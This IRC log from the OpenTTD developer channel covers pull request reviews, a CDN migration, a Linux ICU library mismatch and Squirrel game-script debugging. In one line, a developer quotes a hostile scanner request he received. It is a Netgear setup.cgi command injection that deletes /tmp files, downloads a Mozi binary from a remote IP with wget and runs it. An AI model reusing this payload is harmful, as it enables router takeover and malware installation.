IRC logs for #openttd on OFTC at 2023-07-01
            
00:04:15 *** m1cr0man has quit IRC (Quit: G'luck)
00:04:31 *** m1cr0man has joined #openttd
01:47:18 <Eddi|zuHause> i've had PRs sitting around for a year when suddenly someone would just merge them :p
02:07:57 *** Wormnest has quit IRC (Quit: Leaving)
02:29:05 *** D-HUND has joined #openttd
02:32:30 *** debdog has quit IRC (Ping timeout: 480 seconds)
03:46:13 *** keikoz has joined #openttd
04:16:11 *** tokai|noir has joined #openttd
04:16:12 *** ChanServ sets mode: +v tokai|noir
04:18:54 <DorpsGek> [OpenTTD/OpenTTD] bjornwarmedal commented on pull request #10755: Feature: Setting to disallow level crossings with competitors https://github.com/OpenTTD/OpenTTD/pull/10755#issuecomment-1615459236
04:19:56 <pickpacket> talltyler: gave an opinion now :)
04:21:51 <pickpacket> My PR is likely to be laying around for a long time waiting for opinions too, simply because exclusive transport rights are so seldom used
04:23:08 *** tokai has quit IRC (Ping timeout: 480 seconds)
04:26:14 <pickpacket> OMG! #9616 is a *must*!
04:59:11 *** gelignite has joined #openttd
05:02:28 *** keikoz has quit IRC ()
05:33:18 *** Flygon has joined #openttd
06:15:36 *** nielsm has joined #openttd
06:19:12 <DorpsGek> [OpenTTD/OpenTTD] merni-ns opened pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
06:40:19 <DorpsGek> [OpenTTD/OpenTTD] LordAro commented on pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508312252
06:44:21 <DorpsGek> [OpenTTD/OpenTTD] merni-ns commented on pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508316661
06:44:57 *** D-HUND is now known as debdog
06:56:41 <DorpsGek> [OpenTTD/OpenTTD] merni-ns updated pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
06:58:07 *** merni has joined #openttd
06:58:07 <merni> bah, I messed something up with the force-push
06:59:04 *** HerzogDeXtEr has joined #openttd
07:01:50 <merni> hopefully squash will fix it anyway
07:04:08 *** keikoz has joined #openttd
07:28:56 *** comradetaco has joined #openttd
07:28:56 <comradetaco> Does anyone know if it is possible to set a lower bound for station ratings?
07:44:23 <DorpsGek> [OpenTTD/OpenTTD] Kuhnovic updated pull request #11089: Autorail / autoroad tools can start dragging from invalid tiles https://github.com/OpenTTD/OpenTTD/pull/11089
07:47:36 <kuhnovic> pickpacket: Glad you like it! Unfortunately it's pretty hard to get it to work reliably, and the selection highlighting code is horrible. I created #11089 as a slimmed down version ๐Ÿ˜‰
07:52:33 <pickpacket> ๐Ÿคฉ
07:52:52 <pickpacket> https://lounge.warmedal.se/uploads/5c7f6e23c59eca0a/image0.jpeg choo choo
08:01:01 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain updated pull request #85: Change: [CI] Use Cloudflare R2 as CDN https://github.com/OpenTTD/OpenGFX/pull/85
08:03:43 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain updated pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85
08:04:11 <truebrain> okay .. cancellation works .. good
08:05:23 *** Wolf01 has joined #openttd
08:10:33 <truebrain> `Secret CDN_SIGNING_KEY is required, but not provided while calling.` .. but it is right there!!! Lol .. these issues, always a bit annoying ๐Ÿ˜„
08:20:15 <truebrain> it must be something obvious, but I don't see why that secret isn't working .. lol .. and debugging information is completely non-existing ...
08:22:29 <truebrain> owh, yeah, another layer of protection from GitHub, which makes sense .. I was testing with reusing workflows in my fork, but that means it is cross-organization, and it doesn't pass secrets in that case .. right
08:23:51 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain updated pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85
08:24:19 <truebrain> okay, that seems to work a bit better ๐Ÿ™‚
08:29:30 <DorpsGek> [OpenTTD/OpenMSX] TrueBrain opened pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31
08:29:34 <DorpsGek> [OpenTTD/OpenSFX] TrueBrain opened pull request #50: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenSFX/pull/50
08:30:01 <truebrain> let's see how those work ... and now for the last CDN upload thingy ... hmm
08:31:21 <truebrain> well, at least they are all failing in a similar manner .. lol
08:35:22 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain updated pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85
08:35:31 <DorpsGek> [OpenTTD/OpenMSX] TrueBrain updated pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31
08:35:37 <DorpsGek> [OpenTTD/OpenSFX] TrueBrain updated pull request #50: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenSFX/pull/50
08:36:08 <andythenorth> o/
08:38:32 <andythenorth> moin
08:40:57 *** ameniadasletztenekog has joined #openttd
08:40:57 <ameniadasletztenekog> I am getting this after the update yesterday:
08:40:57 <ameniadasletztenekog> openttd-jgrpp: error while loading shared libraries: libicui18n.so.72: cannot open shared object file: No such file or directory
08:44:23 <merni> maybe try reinstalling `libicu`?
08:44:55 <debdog> libicu72
08:45:38 <andythenorth> wish I knew of a way to inspect a squirrel object in place
08:45:42 <andythenorth> especially tables
08:46:07 <andythenorth> I guess I could write a method to recursively dump an entire table structure to log
08:46:18 <andythenorth> and a storybook button to press
08:49:35 *** geli has joined #openttd
08:49:35 *** gelignite has quit IRC (Read error: Connection reset by peer)
08:51:06 <_jgr_> ameniadasletztenekog: There wasn't any update yesterday, which verison/build are you using?
08:53:28 *** geli has quit IRC (Read error: Connection reset by peer)
08:56:53 <Rubidium_> ameniadasletztenekog: did you compile OpenTTD yourself? Then I reckon the update was a major update of your OS, right? Then you likely have to rerun cmake (just clear the whole build folder to be safe) and recompile OpenTTD
08:57:05 <DorpsGek> [OpenTTD/OpenTTD] Kuhnovic commented on pull request #9642: Feature: Orientation of rail and road depots can be changed https://github.com/OpenTTD/OpenTTD/pull/9642#issuecomment-1615738724
08:58:56 <ameniadasletztenekog> Rubidium_: I saw UCI had 3 days ago a update
09:00:16 <ameniadasletztenekog> I do not boild my game-
09:00:49 <merni> UCI?
09:01:03 <ameniadasletztenekog> CUI
09:01:42 <ameniadasletztenekog> ICU i mean
09:07:08 <truebrain> so that leaves the question: which version/build, and also give a tiny bit more context what you are running. Which linux distro are you using, what package did you install, etc ๐Ÿ™‚
09:08:52 <andythenorth> https://cdn.discordapp.com/attachments/1008473233844097104/1124627675122778162/image.png
09:09:01 <andythenorth> my GS crashes when I try this ^
09:09:17 <andythenorth> ` local slot_names_and_types = {
09:09:17 <andythenorth> "industry_production_increase_timeseries": {},
09:09:17 <andythenorth> };
09:09:17 <andythenorth> `
09:09:56 <andythenorth> this is taken from the Squirrel docs https://developer.electricimp.com/squirrel/squirrel-guide/variables-collections#key-types
09:10:20 <_jgr_> Presumably that is for Squirrel 3.0
09:10:25 <andythenorth> ach
09:10:33 <andythenorth> this is just what google finds
09:10:48 <ahyangyi> What's the version of *our squirrel*?
09:10:56 <_jgr_> The version in OpenTTD is based on Squirrel 2.0 as I understand it
09:11:07 <ameniadasletztenekog> truebrain: ```
09:11:07 <ameniadasletztenekog> Name : openttd-jgrpp
09:11:07 <ameniadasletztenekog> Version : 0.54.2-1
09:11:07 <ameniadasletztenekog> Beschreibung : Engine for running Transport Tycoon Deluxe with JGR's patch pack
09:11:07 <ameniadasletztenekog> Architektur : x86_64
09:11:09 <ameniadasletztenekog> URL : http://www.tt-forums.net/viewtopic.php?f=33&t=73469
09:11:09 <ameniadasletztenekog> Lizenzen : GPL
09:11:11 <ameniadasletztenekog> Gruppen : Nichts
09:11:11 <ameniadasletztenekog> Stellt bereit : Nichts
09:11:13 <ameniadasletztenekog> Hรคngt ab von : fluidsynth fontconfig hicolor-icon-theme lzo
09:11:13 <ameniadasletztenekog> Optionale Abhรคngigkeiten : Nichts
09:11:15 <ameniadasletztenekog> Benรถtigt von : Nichts
09:11:15 <ameniadasletztenekog> Optional fรผr : Nichts
09:11:17 <ameniadasletztenekog> In Konflikt mit : Nichts
09:11:17 <ameniadasletztenekog> Ersetzt : Nichts
09:11:19 <ameniadasletztenekog> InstallationsgrรถรŸe : 30,95 MiB
09:11:19 <ameniadasletztenekog> Packer : Unknown Packager
09:11:21 <ameniadasletztenekog> Erstellt am : Mo 19 Jun 2023 18:50:37 CEST
09:11:21 <ameniadasletztenekog> Installiert am : Mo 19 Jun 2023 18:59:14 CEST
09:11:23 <ameniadasletztenekog> Installationsgrund : Ausdrรผcklich installiert
09:11:23 <ameniadasletztenekog> Installations-Skript : Nein
09:11:25 <ameniadasletztenekog> Verifiziert durch : Nichts
09:11:36 <ameniadasletztenekog> Name : icu
09:11:36 <ameniadasletztenekog> Version : 73.2-1
09:11:36 <ameniadasletztenekog> Beschreibung : International Components for Unicode library
09:11:36 <ameniadasletztenekog> Architektur : x86_64
09:11:36 <ameniadasletztenekog> URL : https://icu.unicode.org
09:11:37 <ameniadasletztenekog> Lizenzen : custom:icu
09:11:37 <ameniadasletztenekog> Gruppen : Nichts
09:11:39 <ameniadasletztenekog> Stellt bereit : libicudata.so=73-64 libicui18n.so=73-64 libicuio.so=73-64 libicutest.so=73-64 libicutu.so=73-64 libicuuc.so=73-64
09:11:39 <ameniadasletztenekog> Hรคngt ab von : gcc-libs glibc sh
09:11:41 <ameniadasletztenekog> Optionale Abhรคngigkeiten : Nichts
09:11:41 <ameniadasletztenekog> Benรถtigt von : bind boost-libs brltty chromium electron22 electron25 gspell harfbuzz-icu lib32-icu libcdr libical libmspub libreoffice-fresh libvisio libxml2 nodejs raptor
09:11:43 <ameniadasletztenekog> smbclient thunderbird tracker3 webkit2gtk xerces-c
09:11:43 <ameniadasletztenekog> Optional fรผr : xfsprogs
09:11:45 <ameniadasletztenekog> In Konflikt mit : Nichts
09:11:45 <ameniadasletztenekog> Ersetzt : Nichts
09:11:46 <andythenorth> _jgr_: yes, I need these ๐Ÿ˜› http://squirrel-lang.org/doc/squirrel2.html#d0e520
09:11:47 <ameniadasletztenekog> InstallationsgrรถรŸe : 41,48 MiB
09:11:47 <ameniadasletztenekog> Packer : Andreas Radke <andyrtr@archlinux.org>
09:11:49 <ameniadasletztenekog> Erstellt am : Sa 17 Jun 2023 10:45:59 CEST
09:11:49 <ameniadasletztenekog> Installiert am : Sa 01 Jul 2023 11:10:07 CEST
09:11:49 *** alfagamma_0007 has joined #openttd
09:11:49 <alfagamma_0007> Ah
09:11:51 <ameniadasletztenekog> Installationsgrund : Installiert als Abhรคngigkeit eines anderen Pakets
09:11:51 <ameniadasletztenekog> Installations-Skript : Nein
09:11:53 <ameniadasletztenekog> Verifiziert durch : Signatur
09:11:53 <ameniadasletztenekog> Ach Linux
09:11:54 <ahyangyi> Yeah, you have ICU v73 but openttd still using ICU v72
09:12:07 <alfagamma_0007> yes
09:12:34 <truebrain> and this is why vanilla OpenTTD only produces "linux-generic", and no longer distro-specific artifacts ๐Ÿ˜„
09:12:51 <ahyangyi> I think Arch has a way to rebuild a package from source?
09:12:53 <alfagamma_0007> Happened to me once , openssh update rendered openttd-jgrpp unplayable
09:13:02 <andythenorth> https://cdn.discordapp.com/attachments/1008473233844097104/1124628724797673472/image.png
09:13:02 <andythenorth> oops, broke superlib
09:13:08 <ahyangyi> ( though I'm not an Arch user and not very sure about that )
09:13:11 <alfagamma_0007> oh sorry paru stopped working
09:13:12 <andythenorth> dunno how I've done this
09:13:20 <_jgr_> The AUR people make their own packages of both vanilla and my branch
09:13:26 <alfagamma_0007> true
09:13:55 <alfagamma_0007> Vanilla ottd hasn't been updated since 13.1
09:14:09 <truebrain> _jgr_: true; so it is their problem ๐Ÿ˜„ ๐Ÿ˜›
09:14:13 <alfagamma_0007> in arch at least
09:14:37 <truebrain> just switch to linux-generic and be done with this distro stuff ..
09:14:56 <alfagamma_0007> Mhm
09:15:15 <alfagamma_0007> You still have to compile it on your own then, right?
09:15:28 <truebrain> alfagamma_0007: Debian is om 1.10.3 or 13.0, depending on your update ๐Ÿ˜›
09:15:39 <alfagamma_0007> Hmm
09:15:41 <truebrain> alfagamma_0007: no; we distribute a linux-generic variant, which has everything you need
09:15:52 <alfagamma_0007> A flatpak?
09:15:52 <truebrain> no compiling needed; it "just runs"
09:15:55 <truebrain> no
09:16:01 <alfagamma_0007> oh right
09:16:03 <alfagamma_0007> got it
09:17:17 <ahyangyi> I use Gentoo linux, and there happens to be an overlay that provides up-to-date ebuilds of JGRPP
09:17:26 <alfagamma_0007> Ooh
09:17:28 <alfagamma_0007> gentoo
09:17:31 <ahyangyi> But it's no coincidence, that overlay is maintained by Ahyangyi
09:17:39 <alfagamma_0007> very hardcore
09:17:41 <truebrain> Gentoo, when your CPU hasn't enough suffering ๐Ÿ˜›
09:17:47 <alfagamma_0007> true
09:17:54 <merni> ameniadasletztenekog: Wow, openttd is still described as "engine for running Transport Tycoon Deluxe" ๐Ÿ˜†
09:17:58 <truebrain> (and now I am just bashing every distro in existence ๐Ÿ˜› )
09:18:09 <alfagamma_0007> Heh
09:18:17 <alfagamma_0007> Arch and Debian are nice
09:18:32 <truebrain> they are horrible from a maintainer perspective, as just shown ๐Ÿ˜›
09:18:38 <alfagamma_0007> true
09:18:42 <truebrain> it just doesn't work for games, honestly
09:18:45 <ahyangyi> Yep ๐Ÿ˜›
09:18:59 <alfagamma_0007> Games are not core utilities per se
09:19:10 <ahyangyi> The only way to have someone providing the right package you need is to become that someone
09:19:11 <alfagamma_0007> so why keep them updated , I guess
09:19:14 <ahyangyi> Which is annoying
09:19:22 <alfagamma_0007> I agree
09:20:01 <truebrain> anyway, this is why linux-generic exists; it uses vcpkg to get the latest version of all our dependencies, giving you the best experience possible; without having any dependencies on your OS (except for X11 / Wayland / sound-drivers)
09:20:12 <alfagamma_0007> I read that Gentoo is pretty much labour intensive , is that true? ahyangyi
09:20:30 <alfagamma_0007> truebrain: Ok thanks, will check it out
09:21:10 <truebrain> I am watching paint dry .. (making a test-release to see if my changes for uploading to the new CDN actually works) ... 30+ minutes ... ugh ๐Ÿ˜›
09:31:51 <ameniadasletztenekog> ahyangyi: One version down and my whole system wont boot.
09:35:21 <andythenorth> truebrain: I am debugging my GS debugger
09:35:25 <andythenorth> which is made in the story book
09:35:28 <andythenorth> and full of bugs
09:39:13 <DorpsGek> [OpenTTD/OpenTTD] shoter opened pull request #11092: Fix/10983 not needed msg https://github.com/OpenTTD/OpenTTD/pull/11092
09:42:23 <truebrain> awh, only for it to fail at the end .. such hate ...
09:48:23 <truebrain> https://github.blog/changelog/2023-06-30-grouped-version-updates-for-dependabot-public-beta/
09:48:23 <truebrain> Example: https://github.com/kubernetes-sigs/external-dns/pull/3756
09:48:23 <truebrain> IT FINALLY HAPPENED! That would make things a lot less .... annoying ๐Ÿ˜›
09:48:39 <andythenorth> can I edit savegames directly to fix squirrel data?
09:48:53 <andythenorth> is it some compress format with no chance of that?
09:49:02 <andythenorth> https://cdn.discordapp.com/attachments/1008473233844097104/1124637782527189033/image.png
09:49:14 <andythenorth> 'candidate_industry' was a mistake, and is now in my savegame data
09:49:51 <andythenorth> I can write a migration to get rid of it but eh
09:56:04 <DorpsGek> [OpenTTD/actions] TrueBrain opened pull request #50: Feature: reusing workflows for basesets and uploading to CDN https://github.com/OpenTTD/actions/pull/50
09:58:24 <DorpsGek> [OpenTTD/actions] TrueBrain updated pull request #50: Feature: reusing workflows for basesets and uploading to CDN https://github.com/OpenTTD/actions/pull/50
09:58:54 <ahyangyi> alfagamma_0007: I think so. Everyday maintainence is OK, but installation takes time, and from time to time there will be random upstream breakages that you need to deal with. Like people deciding ConsoleKit needs to go and logind is the way.
10:05:51 <alfagamma_0007> Hmm
10:05:51 <alfagamma_0007> System updates must be hellish then
10:10:47 <andythenorth> writing a debugger in the GS story book is ass
10:10:56 <andythenorth> so many stupidities to handle
10:15:48 <_jgr_> It does seem a bit like trying to tighten some screws using a rock
10:16:05 <_jgr_> Is there really no other way to log the information you need to look at>
10:16:56 <andythenorth> without a patched client?
10:17:09 <andythenorth> not really
10:17:14 <truebrain> just GSLog what you need?
10:17:34 <andythenorth> so slow
10:17:40 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 commented on pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508531761
10:17:40 <andythenorth> have to stop and add the logging lines
10:17:43 <andythenorth> then remove them again
10:18:47 <andythenorth> https://cdn.discordapp.com/attachments/1008473233844097104/1124645270332907520/image.png
10:18:47 <andythenorth> this will grow to hundreds of entries
10:18:56 <andythenorth> logging that every month just in case I need it
10:19:07 <andythenorth> and then for every other situation also
10:19:10 <andythenorth> nah
10:19:38 <andythenorth> grf objects can be inspected in-place on demnad
10:19:52 <andythenorth> although...the JGRPP implementation of that is a lot more full-featured ๐Ÿ™‚
10:20:10 <truebrain> yippie, test-release works! Uploading to new CDN is functional \o/
10:20:41 <DorpsGek> [OpenTTD/OpenTTD] rubidium42 approved pull request #9642: Feature: Orientation of rail and road depots can be changed https://github.com/OpenTTD/OpenTTD/pull/9642#pullrequestreview-1508533096
10:22:21 <truebrain> _glx_: if you have some time today (or someone else, ofc), mind reviewing https://github.com/OpenTTD/actions/pull/50 ? When that is merged, I can update the other PRs, so they can be reviewed too. When they are reviewed (and not merged), I will migrate the CDN, and merge the other PRs directly after. All testing shows it should work .. but famour last words ofc ๐Ÿ˜„
10:48:01 <DorpsGek> [OpenTTD/actions] glx22 approved pull request #50: Feature: reusing workflows for basesets and uploading to CDN https://github.com/OpenTTD/actions/pull/50#pullrequestreview-1508552624
10:48:14 <_glx_> Long to read though
10:50:48 <DorpsGek> [OpenTTD/actions] TrueBrain merged pull request #50: Feature: reusing workflows for basesets and uploading to CDN https://github.com/OpenTTD/actions/pull/50
10:50:52 <truebrain> Yeah, long to write too ๐Ÿ˜›
10:51:13 <DorpsGek> [OpenTTD/actions] TrueBrain created new tag: v4.5.0 https://github.com/OpenTTD/actions/releases/tag/v4.5.0
10:51:29 <DorpsGek> [OpenTTD/OpenSFX] TrueBrain updated pull request #50: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenSFX/pull/50
10:51:34 <DorpsGek> [OpenTTD/OpenMSX] TrueBrain updated pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31
10:51:39 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain updated pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85
10:51:44 <DorpsGek> [OpenTTD/OpenTTD] TrueBrain opened pull request #11093: Change: [CI] upload releases to new CDN https://github.com/OpenTTD/OpenTTD/pull/11093
10:51:48 <truebrain> those 4 are easier to review at least ๐Ÿ™‚
10:52:26 <truebrain> right, time to migrate the CDN .. pam pam pammmmmm
10:54:06 <truebrain> 70GB .. in a lot of files .. will take a bit of time ๐Ÿ˜„
10:57:34 <DorpsGek> [OpenTTD/actions] TrueBrain opened pull request #51: Fix: switch from preview to production for CDN uploads https://github.com/OpenTTD/actions/pull/51
11:00:36 <DorpsGek> [OpenTTD/actions] TrueBrain merged pull request #51: Fix: switch from preview to production for CDN uploads https://github.com/OpenTTD/actions/pull/51
11:00:49 <DorpsGek> [OpenTTD/actions] TrueBrain created new tag: v4.5.1 https://github.com/OpenTTD/actions/releases/tag/v4.5.1
11:00:50 <truebrain> always this one thing ๐Ÿ˜›
11:01:11 <andythenorth> ach
11:01:29 <andythenorth> need a setting for something that is controlled by GS
11:01:33 <andythenorth> but only grf can apply the setting
11:01:49 <andythenorth> can grf have a var to query current GS?
11:04:26 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain updated pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85
11:04:45 <DorpsGek> [OpenTTD/OpenSFX] TrueBrain updated pull request #50: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenSFX/pull/50
11:08:52 <truebrain> okay .. all ready .. if someone can review https://github.com/OpenTTD/workflows/pull/34 and the 4 PRs linked to that, that would be appreciated ๐Ÿ™‚
11:10:51 <andythenorth> I wonder
11:11:07 <andythenorth> if I PR GSIndustry.GetProdLevel() and GSIndustry.SetProdLevel()
11:11:26 <andythenorth> are we going to amusingly debate again whether GS should be _allowed_ to do these things?
11:11:44 <andythenorth> yolo swag?
11:37:53 <_glx_> andythenorth: No because in MP only the server knows GS
11:41:28 <DorpsGek> [OpenTTD/actions] glx22 commented on pull request #51: Fix: switch from preview to production for CDN uploads https://github.com/OpenTTD/actions/pull/51#issuecomment-1615865413
11:58:45 <DorpsGek> [OpenTTD/OpenTTD] merni-ns updated pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
12:00:01 <DorpsGek> [OpenTTD/OpenTTD] merni-ns commented on pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508582038
12:04:36 <truebrain> _glx_: at least the remaining 5 PRs are a lot easier to review ๐Ÿ˜„
12:08:35 <merni> damn I overlooked something
12:11:13 <DorpsGek> [OpenTTD/OpenTTD] 2TallTyler commented on pull request #9642: Feature: Orientation of rail and road depots can be changed https://github.com/OpenTTD/OpenTTD/pull/9642#issuecomment-1615876390
12:11:15 <merni> so much for pushing without compiling and testing locally :)
12:11:36 <DorpsGek> [OpenTTD/OpenTTD] 2TallTyler merged pull request #9642: Feature: Orientation of rail and road depots can be changed https://github.com/OpenTTD/OpenTTD/pull/9642
12:12:40 <DorpsGek> [OpenTTD/OpenTTD] 2TallTyler approved pull request #11089: Autorail / autoroad tools can start dragging from invalid tiles https://github.com/OpenTTD/OpenTTD/pull/11089#pullrequestreview-1508588195
12:18:22 <DorpsGek> [OpenTTD/workflows] glx22 approved pull request #34: Change: [CI] switch to Cloudflare R2 for CDN https://github.com/OpenTTD/workflows/pull/34#pullrequestreview-1508590927
12:25:53 <DorpsGek> [OpenTTD/OpenTTD] glx22 approved pull request #11093: Change: [CI] upload releases to new CDN https://github.com/OpenTTD/OpenTTD/pull/11093#pullrequestreview-1508601292
12:27:13 <DorpsGek> [OpenTTD/OpenGFX] glx22 approved pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85#pullrequestreview-1508603462
12:27:53 <DorpsGek> [OpenTTD/OpenSFX] glx22 approved pull request #50: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenSFX/pull/50#pullrequestreview-1508604247
12:30:53 <DorpsGek> [OpenTTD/workflows] TrueBrain merged pull request #34: Change: [CI] switch to Cloudflare R2 for CDN https://github.com/OpenTTD/workflows/pull/34
12:31:00 <DorpsGek> [OpenTTD/OpenTTD] TrueBrain merged pull request #11093: Change: [CI] upload releases to new CDN https://github.com/OpenTTD/OpenTTD/pull/11093
12:31:08 <DorpsGek> [OpenTTD/OpenGFX] TrueBrain merged pull request #85: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenGFX/pull/85
12:31:13 <DorpsGek> [OpenTTD/OpenSFX] TrueBrain merged pull request #50: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenSFX/pull/50
12:31:37 <truebrain> that leaves only https://github.com/OpenTTD/OpenMSX/pull/31 ๐Ÿ™‚
12:34:21 <DorpsGek> [OpenTTD/OpenMSX] glx22 commented on pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31#pullrequestreview-1508605672
12:34:41 <_glx_> I think it all comes from copy pasting of openSFX
12:34:48 <truebrain> I do not know why it was there, but I just kept things the same for now ๐Ÿ˜„
12:35:01 <truebrain> I suggest we can do in a follow-up PR an attempt to remove the catcodec ๐Ÿ™‚
12:35:19 <_glx_> ideally we should also remove Makefile ๐Ÿ˜‰
12:35:29 <truebrain> with infinite amount of time ...
12:35:32 <truebrain> but my focus is the migration ๐Ÿ™‚
12:35:34 <_glx_> this generic stuff is horrible
12:35:46 <truebrain> so feel free, go nuts ๐Ÿ˜‰
12:36:22 <truebrain> but if you don't mind terribly, I would like to keep #31 as it is currently, including possible flaws ๐Ÿ™‚
12:37:01 <DorpsGek> [OpenTTD/OpenMSX] TrueBrain commented on pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31#pullrequestreview-1508606325
12:37:11 <DorpsGek> [OpenTTD/OpenMSX] glx22 approved pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31#pullrequestreview-1508606335
12:37:25 <DorpsGek> [OpenTTD/OpenTTD] merni-ns updated pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091
12:37:29 <truebrain> hmm .. something is odd about permissions to upload previews .. it was using a key it shouldn't have used .. so previews are now broken ๐Ÿ˜›
12:37:43 <DorpsGek> [OpenTTD/OpenMSX] TrueBrain merged pull request #31: Change: [CI] switch to reusing workflows https://github.com/OpenTTD/OpenMSX/pull/31
12:37:48 <truebrain> tnx _glx_ , much appreciated!
12:39:06 <_glx_> _glx_: though I say that every time I see the generic ottdcoop Makefile, but in the end I stay away from it
12:39:25 <truebrain> the little amount of changes those 3 repos get ..... might just not be worth any effort
12:40:11 <truebrain> owh, lol, I see how the preview was patched in .. that is nasty
12:40:27 <_glx_> blame yourself ๐Ÿ˜‰
12:40:49 <truebrain> I absolutely do!
12:40:59 <truebrain> okay, restored previews for now
12:41:07 <truebrain> but blegh ๐Ÿ˜› I have to migrate that soon too
12:41:24 <_glx_> one migration at a time
12:41:31 <truebrain> now we wait till tonight to see if this all works ๐Ÿ™‚
12:43:55 <truebrain> cdn.openttd.org is receiving the weirdest requests .. like `/telescope/requests` ... do I even want to know?
12:45:20 <truebrain> (every time a new certificate is issues, the weirdest scanners come along to test your domain .. it is annoying ๐Ÿ˜› )
12:46:00 <truebrain> but okay, new CDN seems to be alive and kicking .. no actually issues are being recorded
12:51:33 <DorpsGek> [OpenTTD/OpenTTD] glx22 commented on pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508610622
12:54:04 <_glx_> oh I get some nasty request on my local IIS
12:54:31 <_glx_> like `GET /setup.cgi next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://111.70.13.126:58228/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`
12:57:16 <DorpsGek> [OpenTTD/OpenTTD] merni-ns commented on pull request #11091: Fix #11087: Disable base graphics/sound dropdown outside main menu (and change tooltips) https://github.com/OpenTTD/OpenTTD/pull/11091#pullrequestreview-1508613728
13:00:42 <truebrain> https://cdn.discordapp.com/attachments/1008473233844097104/1124686018352779325/image.png
13:00:42 <truebrain> how much precent is it up with? ๐Ÿ˜„
13:00:51 <truebrain> precent? percent .. typing, hard ๐Ÿ˜›
13:01:09 <_glx_> that's a lot
13:01:31 <merni> is that... 12 million percent?
13:01:35 <truebrain> (it is a 30 minute view, compared to the last 30 minutes .. and it JUST slipped out of the first time it has been online for 30 minutes :D)
13:01:38 <_glx_> from some B/s to many MB/s
13:06:19 <merni> codeQL failed? how
13:09:06 <merni> https://github.com/OpenTTD/OpenTTD/pull/11091 I don't understand how CI was ok but CodeQL auto-build failed
13:10:11 <truebrain> `undefined reference to std::vector<std::unique_ptr<DropDownListItem const, std::default_delete<DropDownListItem const> >` .. nice ๐Ÿ˜„
13:10:52 <merni> actually _glx_ ... as I understand it, the `*selected_index` was intended to make sure that the currently selected option cannot be disabled. As we no longer are disabling any option in that function, can't that parameter also be removed?
13:11:14 <merni> truebrain: This goes above my head...
13:11:25 <_glx_> it's a return value too
13:12:02 <merni> what is?
13:13:04 <_glx_> `*selected_index = T::GetIndexOfUsedSet();` the pointer will pass the selected index to the caller
13:14:11 <_glx_> (functions with side effects are always fun)
13:17:49 <merni> hm yeah
13:18:04 <merni> seems the switch-case for other widgets explicitly get the selected index
13:18:50 <merni> that would seem to be a better method, no?
13:19:39 <merni> still don't understand how the CodeQL can be failing with linker error when it compiles fine locally and in all other CI tests
13:41:42 <_glx_> codeql does thing differently (I can also see a `maybe unused` warning at some point in the log)
13:43:12 <_glx_> oh and it's a release build, while CI does a debug
14:12:34 <merni> hm
14:12:43 <merni> still can't understand what the error is though
14:13:17 <merni> _glx_: I can't find that, which line of the log is it in?
14:17:12 <_glx_> https://github.com/OpenTTD/OpenTTD/actions/runs/5431068150/jobs/9877206764?pr=11091#step:6:1713 <-- but it's not related to your changes
14:17:24 <merni> ah ๐Ÿคท
14:18:06 <_glx_> I still don't get what could be wrong with CodeQL
14:18:38 <merni> Local release build is successful too (at least with GCC)
14:19:16 <_glx_> yeah tried with VS and it's fine too
14:19:35 <andythenorth> how do I do "Faceville Coal Mine increases production"?
14:19:38 <merni> the only thing I can think of is that I somehow messed up the template stuff, since I have never worked with them. But it doesn't explain how only that single run should fail
14:19:40 <andythenorth> there's no string code for "industry name"
14:22:07 <andythenorth> (in grf)
14:25:10 <DorpsGek> [OpenTTD/team] W72702 opened issue #434: [en_AU] Translator access request https://github.com/OpenTTD/team/issues/434
